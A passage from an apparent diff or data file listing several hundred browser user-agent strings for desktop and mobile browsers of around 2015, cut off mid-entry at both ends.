rv:25.7) Gecko/20150824 Firefox/31.9 PaleMoon/25.7.0 +Mozilla/5.0 (Linux; Android 5.0; SAMSUNG-SM-G870A Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.3; KFSOWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/44.1.81 like Chrome/44.0.2403.128 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) +Mozilla/5.0 (Windows NT 5.2; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.0.9895 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 AOL/9.7 AOLBuild/4343.4049.US Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE10;ENUSMCM; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG SM-G920P Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.2 Chrome/38.0.2125.102 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MALCJS; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Windows NT 5.2; rv:29.0) Gecko/20100101 Firefox/29.0 /29.0 +Mozilla/5.0 (Linux; Android 5.0.2; SM-T550 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 AOL/9.7 AOLBuild/4343.4049.US Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Linux; U; Android 4.0.3; en-gb; KFOT Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.2; SM-P900 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.1.1; Nexus 9 Build/LMY48I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.2; SM-T530NU Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (X11; Linux i686; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.1.1; SM-T330NU Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.7.1000 Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0 +Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.22 Safari/537.36 +Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 +Mozilla/5.0 (Android; Tablet; rv:34.0) Gecko/34.0 Firefox/34.0 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MALCJS; rv:11.0) like Gecko +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E) +Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) GSA/8.0.57838 Mobile/11D257 Safari/9537.53 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.146 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; yie10; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Ubuntu 14.04) AppleWebKit/537.36 Chromium/35.0.1870.2 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; yie11; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/8.0; TNJB; 1ButtonTaskbar) +Mozilla/5.0 (Linux; Android 4.4.2; RCT6773W22 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2503.0 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0; SAMSUNG-SM-G900A Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.7.1000 Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NP08; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.2; SM-T210R Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:40.0) Gecko/20100101 Firefox/40.0.2 Waterfox/40.0.2 +Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-N900P Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.104 AOL/9.8 AOLBuild/4346.18.US Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.22 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.2; SM-T350 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; ASU2JS; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 5.0.2; SM-T530NU Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/7.0; 1ButtonTaskbar) +Mozilla/5.0 (Linux; Android 5.0.2; SAMSUNG-SM-G920A Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.0 Chrome/38.0.2125.102 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2503.0 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; 360SE) +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MAAU; MAAU; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.1 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MANM; MANM; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 +Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 AOL/9.7 AOLBuild/4343.4049.US Safari/537.36 +Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.2; QTAQZ3 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.135 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H321 OverDrive Media Console/3.3.1 +Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D257 +Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) GSA/7.0.55539 Mobile/11D201 Safari/9537.53 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.1; SCH-I545 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A365 Safari/600.1.4 +Mozilla/5.0 (Windows NT 5.1; rv:34.0) Gecko/20100101 Firefox/34.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MDDCJS; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 +Mozilla/5.0 (iPad;U;CPU OS 5_1_1 like Mac OS X; zh-cn)AppleWebKit/534.46.0(KHTML, like Gecko)CriOS/19.0.1084.60 Mobile/9B206 Safari/7534.48.3 +Mozilla/5.0 (Linux; Android 4.4.3; KFAPWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/44.1.81 like Chrome/44.0.2403.128 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/11D201 Safari/9537.53 +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MAMIJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.1; VS985 4G Build/LRX21Y) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0 +Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/12H143 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 +Mozilla/5.0 (Windows NT 6.0; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Linux; Android 5.0.2; LG-V410/V41020b Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/34.0.1847.118 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2503.0 Safari/537.36 +Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B435 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 +Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:36.0) Gecko/20100101 Firefox/36.0 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 +Mozilla/5.0 (Windows NT 5.2; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MDDRJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.2000 Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.3; WOW64; Trident/6.0) +Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG SM-G920T Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.2 Chrome/38.0.2125.102 Mobile Safari/537.36 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8) +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2503.0 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.91 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.3; KFTHWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/34.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.3; KFSAWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/44.1.81 like Chrome/44.0.2403.128 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0 +Mozilla/5.0 (Linux; Android 4.4.2; SM-T230NU Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.2.2; SM-T110 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SM-N910T Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Win64; x64; Trident/7.0) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:33.0) Gecko/20100101 Firefox/33.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 +Mozilla/5.0 (Windows NT 6.2; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36 +Mozilla/5.0 (X11; CrOS armv7l 6946.86.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0 SeaMonkey/2.35 +http://www.useragentstring.com/Firefox25.0_id_19710.php +Mozilla/5.0 (Linux; Android 4.4.2; SM-T330NU Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A8426 Safari/8536.25 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.2; LG-V410 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 TheWorld 6 +Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12B410 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0 Safari/600.1.25 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; EIE10;ENUSWOL) +Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12H143 Safari/600.1.4 +Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12F69 Safari/600.1.4 +Mozilla/5.0 (Linux; Android 4.4.2; SM-T237P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; ATT; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.2; SM-T800 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; EIE10;ENUSMSN; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; MATBJS; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; LGMS323 Build/KOT49I.MS32310c) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.1599.103 Mobile Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE11;ENUSMSN; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.1000 Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; rv:29.0) Gecko/20100101 Firefox/29.0 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.114 Safari/537.36 Puffin/4.5.0IT +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; 